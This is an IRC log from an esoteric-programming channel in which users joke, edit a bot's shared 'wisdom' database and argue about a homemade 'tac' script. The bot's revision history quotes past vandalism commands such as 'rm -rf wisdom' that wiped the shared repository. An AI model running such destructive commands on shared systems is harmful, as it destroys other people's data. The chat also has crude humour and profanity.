08:59:15 -!- bender__ has joined.
08:59:30 -!- bender__ has changed nick to bender.
09:02:47 -!- oerjan has joined.
09:04:41 <hppavilion[1]> Huh, all 14 9/11 hijackers are on the US no-fly list
09:04:55 <hppavilion[1]> I mean, obviously they were terrorists who shouldn't be allowed on airplanes
09:04:58 <hppavilion[1]> But they're also dead
09:05:30 <hppavilion[1]> I mean, is the united states particularly concerned about zombie terrorism?
09:07:28 <oerjan> BRAINS
09:08:31 <shachaf> `? oerjan
09:08:59 <HackEgo> pedantic like a STASI agent traces every unknown user. but why? game? tradition? misinformation? uncivilized sports .. ultraviolant on christmas eve. (old text: wisdom/oerjan_)
09:09:13 <shachaf> `culprits wisdom/oerjan
09:10:54 <shachaf> slowckego
09:11:02 <shachaf> `hoag wisdom/oerjan
09:11:20 <shachaf> Even the codu.org page is timing out.
09:14:50 <hppavilion[1]> "My website is so broken that it couldn't find the 404 page"
09:15:11 <HackEgo> No output.
09:15:20 <HackEgo> ​<noloveinwaikiki> le/rn oerjan/pedantic like a STASI agent traces every unknown user. but why? game? tradition? misinformation? uncivilized sports .. ultraviolant on christmas eve. (old text: wisdom/oerjan_) \ <noloveinwaikiki> le/rn oerjan/pedantic like a STASI agent traces every unknown user. but why? game? tradition? misinformation? unciviliz
09:16:51 <shachaf> Oh, hagb4rd.
09:17:11 <hppavilion[1]> shachaf: That makes more sense
09:18:00 <shachaf> `` hg cat -r 8437 wisdom/oerjan > wisdom/oerjan; rm wisdom/oerjan_
09:18:25 <HackEgo> No output.
09:18:38 <shachaf> `? oerjan
09:18:41 <HackEgo> Your mysterious renouned cackling overlord emeritus oerjan is a lazy expert in future computation. Also a Precambrian Norwegian who mildly dislikes Roald Dahl with a passion. Lately when he tries to remember a word, "amortized" pops up instead. His arch-nemesis is Betty Crocker. He sometimes puns without noticing it.
09:18:52 <hppavilion[1]> shachaf: You should probably check what's in wisdom/oerjan_ first
09:19:09 <shachaf> `1 before
09:19:25 <HackEgo> wisdom/oerjan wisdom/oerjan_: no such file in rev 1b910db2f8a0 \ 1/1:wisdom/oerjan wisdom/oerjan_//
09:19:29 <shachaf> Hm.
09:19:53 <shachaf> I guess before doesn't work very well on multiple files.
09:20:07 <shachaf> Anyway I saw the commands on codu.org
09:20:13 <oerjan> <shachaf> Oh, hagb4rd. <-- no surprises.
09:20:21 <shachaf> `` hg cat -r -2 wisdom/oerjan_
09:20:26 <HackEgo> ​"Your mysterious renouned cackling overlord emeritus oerjan is a lazy expert in future computation. Also a Precambrian Norwegian who mildly dislikes Roald Dahl with a passion. Lately when he tries to remember a word, 'amortized' pops up instead. His arch-nemesis is Betty Crocker. He sometimes puns without noticing it"
09:21:09 <shachaf> hagb4rd is a very persistent troll.
09:21:22 <shachaf> We can thank Taneb for that, I guess.
09:21:47 <oerjan> huh?
09:21:47 <shachaf> i,i http://www.supermegacomics.com/index.php?i=333
09:22:12 <shachaf> `? persistence
09:22:16 <HackEgo> Taneb invented persistence long ago, and it's been around ever since.
09:22:46 <hppavilion[1]> What /does/ "amortized" mean, anyway?
09:22:56 <oerjan> it's funny, it wasn't even i who did most of the tracing last time.
09:23:08 <shachaf> hppavilion[1]: Resurrection.
09:23:15 <hppavilion[1]> shachaf: That seems to obvious
09:23:18 <hppavilion[1]> *too
09:23:21 <hppavilion[1]> * seppuku
09:23:59 <shachaf> @wn amortized
09:24:01 <lambdabot> No match for "amortized".
09:24:12 <shachaf> @wn amortize
09:24:13 <lambdabot> *** "amortize" wn "WordNet (r) 3.0 (2006)"
09:24:13 <lambdabot> amortize
09:24:13 <lambdabot> v 1: liquidate gradually [syn: {amortize}, {amortise}]
09:24:22 <shachaf> @wn amortization
09:24:25 <lambdabot> *** "amortization" wn "WordNet (r) 3.0 (2006)"
09:24:27 <lambdabot> amortization
09:24:29 <lambdabot> n 1: the reduction of the value of an asset by prorating its
09:24:31 <lambdabot> cost over a period of years [syn: {amortization},
09:24:33 <lambdabot> {amortisation}]
09:24:35 <lambdabot> 2: payment of an obligation in a series of installments or
09:24:37 <lambdabot> transfers [syn: {amortization}, {amortisation}]
09:24:55 <shachaf> the "amor ties" between two individuals are the bonds of love holding them together
09:25:05 <shachaf> n individuals, maybe i should say
09:25:41 <shachaf> I assume the kind of amortization oerjan is talking about is the algorithm analysis kind, though.
09:28:39 <oerjan> i don't know. gradual liquidation sounds like something an overlord would do.
09:28:56 <oerjan> although it's a bit of a violation of the overlord list.
09:30:23 <shachaf> I felt pretty unhelpful after all those explanations so I figured I would say something helpful for once.
09:30:45 <oerjan> very good, shachaf
09:30:55 <shachaf> i've been duly reprimanded, though
09:31:09 <shachaf> it may not happen again
09:31:24 * oerjan did not notice the reprimand.
09:31:49 -!- augur has quit (Remote host closed the connection).
09:31:51 <shachaf> Did you see all my wisdom entries?
09:32:15 <shachaf> `sled wisdom/oerjan//s/over/zombie over/
09:32:17 -!- augur has joined.
09:32:20 <HackEgo> wisdom/oerjan//Your mysterious renouned cackling zombie overlord emeritus oerjan is a lazy expert in future computation. Also a Precambrian Norwegian who mildly dislikes Roald Dahl with a passion. Lately when he tries to remember a word, "amortized" pops up instead. His arch-nemesis is Betty Crocker. He sometimes puns without noticing it.
09:32:57 <shachaf> Hmm, if you become amortized now, would you be a zombie emeritus overlord?
09:33:14 <oerjan> shachaf: no i did not see them.
09:33:17 -!- heroux has quit (Ping timeout: 244 seconds).
09:33:32 -!- heroux has joined.
09:34:33 <shachaf> `` hoag wisdom/oerjan | tail -n5
09:34:46 <HackEgo> ​<FreeFull> run rm -rf wisdom \ <shachaf> run echo "Your evil overlord oerjan is a lazy expert in future computation. Also a lying Norwegian." >wisdom/oerjan \ <shachaf> revert 0 \ <shachaf> run rm -rf wisdom/* \ Initial import.
09:34:48 <shachaf> Why did I say you were a lying Norwegian?
09:36:39 -!- augur has quit (Ping timeout: 250 seconds).
09:41:54 <oerjan> obviously you were lying hth
10:23:40 <int-e> `` find wisdom wisdom -type f | wc -l
10:23:45 -!- PinealGlandOptic has quit (Ping timeout: 276 seconds).
10:24:00 <HackEgo> 2246
10:26:13 <hppavilion[1]> I'm surprised no one in the 0.01% is lobbying the government to allow ordinal worth
10:27:29 -!- b_jonas_ has changed nick to b_jonas.
10:28:37 <int-e> `? hppavillion
10:28:39 <HackEgo> hppavillion? ¯\(°​_o)/¯
10:28:41 <int-e> `? hppavillion[1]
10:28:42 <HackEgo> hppavillion[1]? ¯\(°​_o)/¯
10:28:48 <int-e> oh.
10:28:51 <int-e> `? hppavilion
10:28:53 <HackEgo> hppavilion is the generator including, but not limited to, hppavilion[1], hppavilion[2], and hppavilion[42]. hppavilion is of length 37-42i-28j+4k-28ij+38ik+62jk+20ijk
10:29:02 <shachaf> `` find wisdom -type f | wc -l
10:29:03 <HackEgo> 1123
10:29:17 <shachaf> `? int-e
10:29:19 <oerjan> `` ls wisdom/hpp*
10:29:19 <HackEgo> int-e är inte svensk. Hen kommer att spränga solen. Hen står för sig själv.
10:29:20 <HackEgo> wisdom/hppavilion \ wisdom/hppavilion1 \ wisdom/hppavilion[1] \ wisdom/hppavilion[42]
10:29:47 <oerjan> there appears to be quite a bit of wisdom.
10:30:00 <hppavilion[1]> `? clever
10:30:01 <HackEgo> Being clever is different from being wise, but they are indistinguishable in sufficiently large quantities.
10:30:02 <int-e> anyway, hppavilion[1], I find your ideas a bit too random even for this channel.
10:30:16 <hppavilion[1]> Vaut?
10:30:47 <shachaf> The saying I know is: "A clever person can get out of trouble that a wise person doesn't get into."
10:31:15 <hppavilion[1]> shachaf: Yes, which is part of why they're indistinguishable- nothing comes of the trouble
10:33:49 <shachaf> `? cat
10:33:50 <HackEgo> Cats are cool, but should be illegal.
10:37:36 <shachaf> `` echo $'a\nb' | tac
10:37:38 <HackEgo> No output.
10:37:41 <shachaf> `` type -a tac
10:37:42 <HackEgo> tac is /hackenv/bin/tac \ tac is /usr/bin/tac
10:37:44 <shachaf> `cat bin/tac
10:37:44 <HackEgo> ​#!/bin/bash \ for file do mapfile -t lines < "$file"; for (( i = ${#lines[@]} -1; i >= 0; i-- )) do printf "%s\n" "${lines[i]}"; done done
10:37:49 <shachaf> `` echo $'a\nb' | /usr/bin/tac
10:37:51 <HackEgo> b \ a
10:37:56 <shachaf> What's bin/tac all about?
10:37:59 <shachaf> `culprits bin/tac
10:38:07 <HackEgo> izabera izabera izabera
10:38:19 <shachaf> I don't know what it's doing but it doesn't seem to work.
10:38:25 <shachaf> `rm bin/tac
10:38:29 <HackEgo> No output.
10:38:34 <shachaf> `` hoag wisdm/oerjan | tac
10:38:39 <HackEgo> No output.
10:38:42 <izabera> congrats
10:38:56 <shachaf> Do you think it should stick around?
10:39:01 <izabera> you broke a perfectly valid script that didn't read stdin
10:39:09 <shachaf> Apparently /usr/bin/tac doesn't work either.
10:39:17 <int-e> `` which tac
10:39:19 <HackEgo> ​/usr/bin/tac
10:39:24 <shachaf> If it doesn't read stdin then it's not a perfectly valid script.
10:39:49 <int-e> `` ( echo a; echo b ) | tac
10:39:50 <HackEgo> b \ a
10:40:00 <izabera> it had a different purpose
10:40:06 <int-e> does hoag do anything odd?
10:40:09 <izabera> `` echo '#!/bin/bash' > bin/tac
10:40:12 <HackEgo> No output.
10:40:29 <shachaf> Can you not make it shadow /usr/bin/tac if it has a different purpose?
10:40:32 <izabera> `` echo '(( $# )) || set /dev/stdin' >> bin/tac
10:40:35 <HackEgo> No output.
10:40:45 <izabera> `` echo 'for file do mapfile -t lines < "$file"; for (( i = ${#lines[@]} -1; i >= 0; i-- )) do printf "%s\n" "${lines[i]}"; done done' >> bin/tac
10:40:49 <HackEgo> No output.
10:40:50 <izabera> `` chmod +x bin/tac
10:40:53 <HackEgo> No output.
10:41:04 <izabera> `` seq 10 | tac
10:41:07 <HackEgo> 10 \ 9 \ 8 \ 7 \ 6 \ 5 \ 4 \ 3 \ 2 \ 1
10:41:08 <shachaf> Making four separate commits to write one file?
10:41:28 <int-e> `` seq 10 | bin/tac
10:41:30 <HackEgo> 10 \ 9 \ 8 \ 7 \ 6 \ 5 \ 4 \ 3 \ 2 \ 1
10:41:36 <int-e> `` seq 10 | /usr/bin/tac
10:41:37 <HackEgo> 10 \ 9 \ 8 \ 7 \ 6 \ 5 \ 4 \ 3 \ 2 \ 1
10:41:57 <shachaf> `` echo -ne 'a\nb' | tac
10:41:58 <HackEgo> b \ a
10:41:59 <shachaf> `` echo -ne 'a\nb' | /usr/bin/tac
10:42:01 <HackEgo> ba
10:42:10 <shachaf> still seems to be broken
10:42:25 <izabera> arguably more useful
10:42:42 <shachaf> arguably less useful
10:42:52 <int-e> arguably arguable
10:42:55 <shachaf> tac also supports -r
10:43:01 <izabera> `` tac --help
10:43:04 <izabera> err
10:43:04 <HackEgo> ​/hackenv/bin/tac: line 3: --help: No such file or directory
10:43:07 <izabera> `` /bin/tac --help
10:43:08 <HackEgo> ​/hackenv/bin/`: line 4: /bin/tac: No such file or directory
10:43:12 <izabera> `` /usr/bin/tac --help
10:43:14 <HackEgo> Usage: /usr/bin/tac [OPTION]... [FILE]... \ Write each FILE to standard output, last line first. \ With no FILE, or when FILE is -, read standard input. \ \ Mandatory arguments to long options are mandatory for short options too. \ -b, --before attach the separator before instead of after \ -r, --regex interpret the se
10:43:29 <shachaf> `` echo -ne 'a\nb' | /usr/bin/tac -b
10:43:30 <HackEgo> ​ \ ba
10:43:37 <shachaf> If you want to write your own tac, why not give it a different name?
10:43:48 <shachaf> `` hoag wisdom/oerjan | bin/tac
10:43:53 <HackEgo> Initial import. \ <shachaf> run rm -rf wisdom/* \ <shachaf> revert 0 \ <shachaf> run echo "Your evil overlord oerjan is a lazy expert in future computation. Also a lying Norwegian." >wisdom/oerjan \ <FreeFull> run rm -rf wisdom \ <oerjan> revert \ <FreeFull> revert 0 \ <oerjan> revert 999999999 \ <FreeFull> revert 4 \ <elliott> revert 1492 \ <ais52
10:43:55 <shachaf> `` hoag wisdom/oerjan | /usr/bin/tac
10:43:59 <HackEgo> Initial import. \ <shachaf> run rm -rf wisdom/* \ <shachaf> revert 0 \ <shachaf> run echo "Your evil overlord oerjan is a lazy expert in future computation. Also a lying Norwegian." >wisdom/oerjan \ <FreeFull> run rm -rf wisdom \ <oerjan> revert \ <FreeFull> revert 0 \ <oerjan> revert 999999 \ <FreeFull> revert 4 \ <elliott> revert 1492 \ <ais523>
10:44:09 <izabera> wait let me find the problem that prompted me to write that
10:44:22 <int-e> `` echos wisdom/*/
10:44:23 <shachaf> `` rgrep -l tac wisdom
10:44:24 <HackEgo> ​/hackenv/bin/`: line 4: echos: command not found
10:44:28 <int-e> `` echo wisdom/*/
10:44:34 <HackEgo> wisdom/le/ wisdom/¯\(°_o)/ wisdom/¯\(°​_o)/
10:44:36 <HackEgo> wisdom/brain \ wisdom/quebec \ wisdom/opposite \ wisdom/false \ wisdom/delve \ wisdom/spaghetti stack \ wisdom/webcarting \ wisdom/syntactic sugar \ wisdom/québec \ wisdom/⊥ \ wisdom/pk
10:44:46 <shachaf> `` rgrep -lP '\btac\b' wisdom
10:44:51 <HackEgo> No output.
10:44:57 <shachaf> Er.
10:44:59 <shachaf> `` rgrep -lP '\btac\b' bin
10:45:05 <HackEgo> bin/seens \ bin/¿
10:45:12 <shachaf> `cat bin/seens
10:45:13 <HackEgo> ​#!/bin/sh \ find /var/irclogs/_esoteric -mindepth 1 -maxdepth 1 -type f -name '????-??-??.txt' | sort -r | xargs -d'\n' -r tac -- | grep "^..:..:..: <$1>" | head -n 1
10:45:22 <shachaf> `cat bin/¿
10:45:23 <HackEgo> ​? "$@" | rev | tac
10:45:37 <izabera> `` tac <(seq 3) <(seq 3)
10:46:00 <izabera> `` /usr/bin/tac <(seq 3) <(seq 3)
10:46:14 <izabera> i don't remember for sure but it was related to this i think
10:46:18 <izabera> can't find it in my logs
10:46:19 <HackEgo> 3 \ 2 \ 1 \ 3 \ 2 \ 1
10:46:20 <HackEgo> ​/usr/bin/tac: cannot create temporary file in `/tmp': Invalid argument \ 3 \ 2 \ 1
10:46:31 <izabera> ah that
10:46:36 <izabera> SEE? I FIXED A BUG
10:46:46 <shachaf> You wrote a different program.
10:46:57 <shachaf> I suggest giving it a different name.
10:47:15 <izabera> for all sane purposes works exactly like tac and does the right thing in a few cases where the actual tac is broken
10:47:29 <int-e> tac attacc
10:47:58 <izabera> `` rm bin/tac and fuck you
10:48:02 <HackEgo> rm: cannot remove `and': No such file or directory \ rm: cannot remove `fuck': No such file or directory \ rm: cannot remove `you': No such file or directory
10:48:12 <shachaf> I was thinking more `mv bin/tac bin/tax
10:48:34 <int-e> another traditional name would be yatac
10:48:37 <shachaf> I've been irritated by the lack of working tac in HackEgo for months now.
10:48:56 <shachaf> I finally looked into it and realized it wasn't caused by what I thought.
10:49:02 <int-e> (ironically cc isn't exactly a compiler compiler, despite "yacc" suggesting otherwise)
10:49:21 <izabera> it can compile compilers tho
10:49:27 <int-e> hence "exactly"
10:49:34 -!- bender has quit (Read error: Connection reset by peer).
10:49:38 <izabera> maybe that was its original intended purpose
10:49:48 <izabera> then people realized it can also be used for regular programs
10:49:52 <int-e> ...
10:49:58 -!- bender has joined.
10:50:08 <izabera> you never know
10:50:13 <shachaf> int-e: Oh, I get it, "attack".
10:50:15 <int-e> in an alternative universe, maybe
10:50:21 <shachaf> I was thinking it was a DNA thing.
10:50:25 <int-e> shachaf: also , twice "tac".
10:50:29 <int-e> oh.
10:50:38 <b_jonas> int-e: and cpp isn't a compiler for cplusplus
10:50:39 <int-e> haha, I didn't see that :)
10:50:50 <int-e> (the DNA)
10:54:24 <shachaf> Hmm, "guanine" is derived from "guano".
10:58:15 <izabera> good to know
11:01:27 <hppavilion[1]> Hm, what's happening with brainlabs now?
11:02:56 <oerjan> well it sounds like the place for a zombie attack hth
11:03:51 <hppavilion[1]> oerjan: Sexist zombies, no less
11:04:49 <oerjan> @tell boily <boily> MWAH AH AH AH AH AH AH AH AH AH :D <-- excuse me, there appears to be a slight problem with your sanity...
11:04:50 <lambdabot> Consider it noted.
11:09:41 -!- Koen_ has joined.
11:10:18 <hppavilion[1]> There are not nearly enough velociraptors equipped with lasers in space
11:10:39 -!- Phantom_Hoover has joined.
11:13:19 <Koen_> wouldn't it be more efficient to equip them with reactors?
11:15:20 <oerjan> reactors are heavy.
11:15:31 <oerjan> `wisdom stepr
11:15:46 <HackEgo> stepran//A Steprans variable is a variable whose notation is variable.
11:15:56 <oerjan> `` mv wisdom/stepran{,s}
11:16:11 <HackEgo> No output.
11:16:24 <oerjan> `wisdom stepr
11:16:30 <HackEgo> steprans//A Steprans variable is a variable whose notation is variable.
11:17:01 <hppavilion[1]> Stormfront or SJW is a fun game
11:17:13 <hppavilion[1]> I'm glad someone just mentioned it so I can watch it more
11:17:16 -!- boily has joined.
11:22:00 <oerjan> hujamboily
11:22:54 <boily> sœrjanmat pagi!
11:22:58 <boily> @massages-loud
11:22:58 <lambdabot> oerjan said 18m 8s ago: <boily> MWAH AH AH AH AH AH AH AH AH AH :D <-- excuse me, there appears to be a slight problem with your sanity...
11:23:12 <boily> my sanity is perfectly functional. I am sane hth
11:23:22 <boily> what's a hujam?
11:24:19 <oerjan> beats me.
11:27:17 -!- astslash has joined.
11:27:25 <boily> `relcome astslash
11:27:39 <HackEgo> astslash: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: <http://esolangs.org/>. (For the other kind of esoterica, try #esoteric on EFnet or DALnet.)
11:27:39 <astslash> yep
11:27:43 -!- Koen__ has joined.
11:31:15 -!- Koen_ has quit (Ping timeout: 258 seconds).
11:31:21 <b_jonas> boily: is that like a boojum?
11:33:49 <boily> b_jellonas. these terms are unknown to me. most likely they are alike.
11:37:41 <b_jonas> `? boojum
11:37:47 <HackEgo> boojum? ¯\(°​_o)/¯
11:38:03 -!- yorick__ has changed nick to yorick.
11:45:14 <b_jonas> do you happen to know why the heck ImageMagick's official windows installer binaries are often broken these days?
11:45:58 <b_jonas> I like ImageMagick, but if half of their windows builds just fail mysteriously, that makes them pretty difficult to use.
11:46:05 <b_jonas> They didn't used to be like this.
11:52:38 <hppavilion[1]> From the people who brought you Stormfront or SJW: ____________
11:52:46 <hppavilion[1]> (fill in the blank)
11:59:32 <boily> `wisdom
11:59:45 <HackEgo> algebraic chess notation//Algebraic chess notation is not a notation for algebraic chess.
12:13:26 <boily> `? pawn
12:13:28 <HackEgo> pawn? ¯\(°​_o)/¯
12:13:36 <hppavilion[1]> `? arithmetical chess notation
12:13:38 <HackEgo> arithmetical chess notation? ¯\(°​_o)/¯
12:13:44 <hppavilion[1]> `? geometric chess notation
12:13:47 <HackEgo> geometric chess notation? ¯\(°​_o)/¯
12:14:24 <boily> `? chess
12:14:26 <HackEgo> Chess is a complex boardgame, where players exchange unclear royal steaks until they decide which of them has lost. The game is recorded through the Gringmuth Moving Pineapple Notation.
12:14:29 <Taneb> Algebraic chess is chess that is also an algebraic variety, such that moves are given by regular functions on the variety
12:14:36 <boily> wait. pawn was removed? :(
12:15:19 -!- gamemanj has joined.
12:15:23 <hppavilion[1]> `? checkers
12:15:25 <HackEgo> checkers? ¯\(°​_o)/¯
12:15:29 <hppavilion[1]> `? draughts
12:15:31 <HackEgo> draughts? ¯\(°​_o)/¯
12:15:43 <hppavilion[1]> `? billiards
12:15:44 <HackEgo> billiards? ¯\(°​_o)/¯
12:15:46 <hppavilion[1]> `? pool
12:15:47 <HackEgo> pool? ¯\(°​_o)/¯
12:16:56 <hppavilion[1]> `? avatar
12:16:57 <HackEgo> avatar? ¯\(°​_o)/¯
12:17:59 <boily> avatar is a game?
12:18:41 <hppavilion[1]> boily: No?
12:19:18 <hppavilion[1]> I mean, there's probably a video game based on the movie
12:19:33 <hppavilion[1]> (James Cameron, not airbending)
12:21:31 -!- boily has quit (Quit: TAKE CHICKEN).
12:23:41 <hppavilion[1]> "Democratic People's Republic of Korea"
12:23:57 <hppavilion[1]> You can REALLY tell a place is fucked up when it is a /democratic people's republic/
12:32:44 <oerjan> `culprits wisdom/pawn
12:32:47 <int-e> . o O ( or if it has /united/ in its name... )
12:33:03 <HackEgo> No output.
12:34:32 <oerjan> hppavilion[1]: i think the word "democratic" alone is a pretty bad sign. i make an exception for Greece. oh wait...
12:35:03 <oerjan> (technically Greece uses the noun iirc)
12:35:16 <int-e> perhaps with the exception of the "United Mexican States"
12:35:35 <int-e> (I didn't know *that* official name)
12:37:01 <oerjan> `culprits wisdom/pawn
12:37:08 <HackEgo> No output.
12:37:20 <oerjan> i'm going with "never existed"
12:37:41 <oerjan> `le/rn pawn/*YOU* are a pawn. *MWAHAHAHAHA*
12:37:50 <HackEgo> Learned «pawn»
12:49:41 <b_jonas> HackEgo: yes, it's the people that are democratic, not the republic
13:00:37 -!- oerjan has quit (Quit: Later).
13:00:51 -!- AnotherTest has joined.
13:31:29 <izabera> a friend of mine made a fuck machine
13:31:38 <izabera> it's an arduino in a box, with a button
13:31:45 <izabera> you press the button and it says fuck
13:35:42 <MDude> Amazing technology.
13:37:29 <izabera> time to crowdfund it
13:38:23 <gamemanj> where can I buy this
13:39:26 <gamemanj> also, can I crowdfund a private use character, U+F800?
13:39:44 <int-e> you can try
13:40:04 <gamemanj> (Displays as  on your system.)
13:40:28 <hppavilion[1]> gamemanj: God I love that
13:40:42 <gamemanj> hppavilion[1]: ???
13:40:47 <gamemanj> hppavilion[1]: I can't tell what you're seeing
13:40:49 <hppavilion[1]> gamemanj: The i-with-heart
13:41:01 <hppavilion[1]> izabera: "and if you press another button..."
13:41:01 <int-e> `unidecode 
13:41:04 <gamemanj> ??????
13:41:17 <hppavilion[1]> <gamemanj> (Displays as  on your system.)
13:41:21 <HackEgo> U+F800 - No such unicode character name in database \ UTF-8: ef a0 80 UTF-16BE: f800 Decimal: &#63488; \  () \ Uppercase: U+F800 \ Category: Co (Other, Private Use) \ Bidi: L (Left-to-Right)
13:41:32 <gamemanj> an i-with-heart?
13:41:32 <int-e> hppavilion[1]: it's something your font's designer did
13:41:47 <izabera> hppavilion[1]: is it \oren\'s ?
13:41:50 <hppavilion[1]> int-e: Oh, my font's designer was \oren\
13:41:51 <int-e> hppavilion[1]: so pasting it won't help... we'll need a screenshot
13:41:57 <hppavilion[1]> int-e: Well duh
13:41:59 <gamemanj> getting screenshot
13:42:04 <int-e> exactly.
13:42:07 <hppavilion[1]> int-e: I thought gamemanj was confused about what I was referring to
13:42:16 <hppavilion[1]> int-e: Not what it looks like
13:42:27 <gamemanj> http://imgur.com/9AG0fBLl.png
13:42:54 <gamemanj> uh
13:43:00 <gamemanj> What happened
13:43:00 <hppavilion[1]> gamemanj: Good job using a low-enough-res image that it's illegible
13:43:08 <izabera> gamemanj: what is it, a screenshot for ants?
13:43:09 <gamemanj> Bad screenshot program?
13:43:17 <gamemanj> No biscuit for that screenshot program.
13:43:30 <hppavilion[1]> gamemanj: Also, why the hell are you running literally the same set of programs that I'm always running?
13:43:40 <gamemanj> I'm your doppleganger.
13:43:51 <hppavilion[1]> Hexchat, firefox, PyCharm
13:43:58 <gamemanj> uh, PyCharm?
13:44:01 <hppavilion[1]> gamemanj: What's the opposite of a doppleganger?
13:44:03 <gamemanj> I see no PyCharm here
13:44:24 <hppavilion[1]> gamemanj: Oh, that's another Jetbrains IDE I guess
13:44:34 <hppavilion[1]> It looks the same as PyCharm because they use the same UI layout
13:45:43 <gamemanj> oh, THERE we go
13:45:44 <gamemanj> http://i.imgur.com/9AG0fBL.png
13:45:46 <gamemanj> it did upload it
13:45:49 <gamemanj> I just got the wrong URL
13:46:45 <gamemanj> it's the difference between the "i." and no "i."
13:46:51 <gamemanj> or something
13:46:56 <gamemanj> Ok, I have no idea
13:47:14 <gamemanj> I just realized I already... Ok, anyone who wants to see the full screenshot just refresh. I'm confused.
13:47:26 * hppavilion[1] checks the image for usable data
13:47:45 <gamemanj> that's fun, I do that too
13:48:05 <hppavilion[1]> \oren\: Why does the lookup of heart letters not include umlautic letters?
13:48:29 <gamemanj> For future reference: "copyright ID" is part of "copyright IDEA" (I was trying to figure out how to get the Copyright module to mass-copy the same notice all over a project)
13:49:04 <gamemanj> "MessageBoxA" is an old tab and semi-related (Figure out what the software does and that should help)
13:49:22 <hppavilion[1]> God, when looking for something in an image I always consider ctrl+f for a nanosecond
13:49:27 <gamemanj> And the rest you should be able to figure out yourself
13:50:18 <int-e> hmm, I can honestly say that I have no IDEA.
13:50:31 <gamemanj> hint: class list
13:50:43 <hppavilion[1]> gamemanj: Are you classist?
13:50:49 <gamemanj> no, class list
13:51:10 <int-e> mixing java, nasm and gtk... sounds fun.
13:51:24 <gamemanj> GTK's just look&feel madness
13:51:30 <hppavilion[1]> Today I learned about Sovereign Citizens
13:51:38 <hppavilion[1]> A little piece of me died
13:51:41 <int-e> and is "linearizing" some sort of topological sorting?
13:51:45 <hppavilion[1]> For some value of little
13:52:08 <gamemanj> int-e: "linearizing" is my "I may as well name it something" way of putting "Making the address in the file equal to the RVA"
13:52:47 <int-e> hppavilion[1]: "Between 50 and 70 billion cells die each day due to apoptosis in the average human adult." hth
13:53:55 <gamemanj> Because 1. it's more convenient to edit that way, and 2. certain assembler/patcher programs have this habit of subtracting 0x400000 and otherwise patching raw, which is fine when .text is at 0x1000.
13:53:57 <int-e> gamemanj: (connecting dots at random) oh you're still pushing bytes?
13:54:02 <gamemanj> nope
13:54:06 <hppavilion[1]> int-e: Yes, when I say a little piece of me died I mean on top of the 50-70 billion
13:54:20 <gamemanj> int-e: If you didn't read the class list...
13:54:29 <gamemanj> int-e: PESection, PESectionBuilder, ResourceImage.
13:54:35 <int-e> gamemanj: I did, it just didn't ring any bells
13:54:44 <int-e> and I'm too lazy to google
13:54:45 <gamemanj> Windows EXE files.
13:55:04 <int-e> I have to admit that PESection could've worked.
13:55:51 -!- ybden- has changed nick to ybden.
13:56:00 <int-e> But basically all I know about PE executables is that they exist and are used in Windows (and have been there since ages).
13:58:43 <hppavilion[1]> "A free citizen has all of the rights of a US citizen while not following any of their laws"
13:59:11 <hppavilion[1]> Honestly, https://www.youtube.com/watch?v=3zHRQn_IShw is evidence that cops average to /more/ peaceful than your average american
14:04:22 <hppavilion[1]> Like, even if every other cop in the country was literally a serial killer
14:04:27 <hppavilion[1]> When you average it out
14:04:39 <hppavilion[1]> He /really/ skews the numbers
14:05:10 <int-e> averages don't make the press
14:07:55 <hppavilion[1]> Fuck the New World Order, I want to go back to the Old World Order
14:08:37 <b_jonas> hppavilion[1]: how about a New New World Order?
14:08:37 <FreeFull> hppavilion[1]: That cop has maxed out his patience stat, but I don't think one good cop instantly absolves all the bad ones either
14:09:14 <hppavilion[1]> FreeFull: It doesn't absolve them, but it skews the average
14:09:39 <hppavilion[1]> FreeFull: The average person hasn't orchestrated a racial genocide, but that doesn't mean those who did are absolved
14:09:54 <b_jonas> also, second detection of gravitational wave event was announced today
14:09:58 <b_jonas> um
14:09:59 <b_jonas> yesterday
14:10:06 <b_jonas> I meant yesterday
14:10:55 <hppavilion[1]> b_jonas: Perhaps the aliens are trying to remove us from the universe?
14:10:56 <b_jonas> now build a couple of more earth-based detectors so that the locations can be found more easily, then also build some space-based detectors
14:11:11 <b_jonas> `? metallic hydrogen
14:11:18 <HackEgo> metallic hydrogen? ¯\(°​_o)/¯
14:30:34 -!- user32 has joined.
14:32:53 -!- spiette has joined.
14:33:55 -!- user32 has quit (Client Quit).
14:39:01 -!- moon_ has joined.
14:40:01 -!- Sgeo has quit (Ping timeout: 240 seconds).
14:46:25 <hppavilion[1]> I want a counter sign that says "It has been [x] days since someone updated this sign"
14:46:50 <moon_> harhar, ask the company 'Basic Millworks' i beleive its on ebay
14:47:00 <moon_> proffessional looking signs :P
14:51:22 <b_jonas> hppavilion[1]: http://www.xkcd.com/363/ ?
14:51:54 <hppavilion[1]> b_jonas: Similar, but more hofstadarian
14:53:09 <hppavilion[1]> Huh, just as I mentioned that I got to the good part of https://www.youtube.com/watch?v=zfdxqRXM6Sc&list=PLA1F18BC2CFDB46FF&index=29
14:53:14 <moon_> buy it in wood from Basic Millworks if you do want it
14:53:27 <moon_> it will come prestained
14:53:37 <moon_> basically usable from the start
15:00:28 -!- J_Arcane has joined.
15:17:52 -!- `^_^ has joined.
15:23:58 <b_jonas> what?
15:24:02 <b_jonas> are they fools or something?
15:26:01 <moon_> b_jonas
15:26:10 <moon_> mind setting up a swap on the new hbot?
15:27:13 <b_jonas> moon_: why don't you just add a proper swap partition (whether on a separate hard disk or an existing one)? that would be much better than a swap file, I just didn't want to risk doing it from the inside, but it's easier from the outside.
15:27:47 <b_jonas> moon_: add a swap partition, add it to fstab, swapon -a
15:27:56 <b_jonas> no wait, I forgot a step
15:28:04 <b_jonas> add a swap partition, mkswap, add it to fstab, swapon -a
15:30:44 <moon_> kk
15:30:45 -!- Koen_ has joined.
15:31:24 -!- Sgeo has joined.
15:33:40 -!- Koen__ has quit (Ping timeout: 272 seconds).
15:42:38 <moon_> b_jonas: thx, i added 2 gb of SWAP to it
15:52:46 -!- moon_ has quit (Ping timeout: 250 seconds).
15:55:00 -!- aloril has quit (Ping timeout: 246 seconds).
16:05:00 -!- aloril has joined.
16:06:39 -!- bender has quit (Ping timeout: 250 seconds).
16:44:49 -!- Koen_ has quit (Remote host closed the connection).
16:59:52 <\oren\> my phones ui process just segfaulted
17:04:41 <HackEgo> [wiki] [[Symbolic Brainfuck]] M https://esolangs.org/w/index.php?diff=47223&oldid=47221 * KelsonBall * (+105)
17:05:26 <b_jonas> \oren\: um, how can you tell that?
17:05:37 <b_jonas> I mean, how did you debug what happened if there's no ui?
17:05:46 <b_jonas> did it get saved to a log persistent over reboot or something?
17:13:01 <\oren\> the ui rebooted and said an error toast about android.ui.something having a segfault
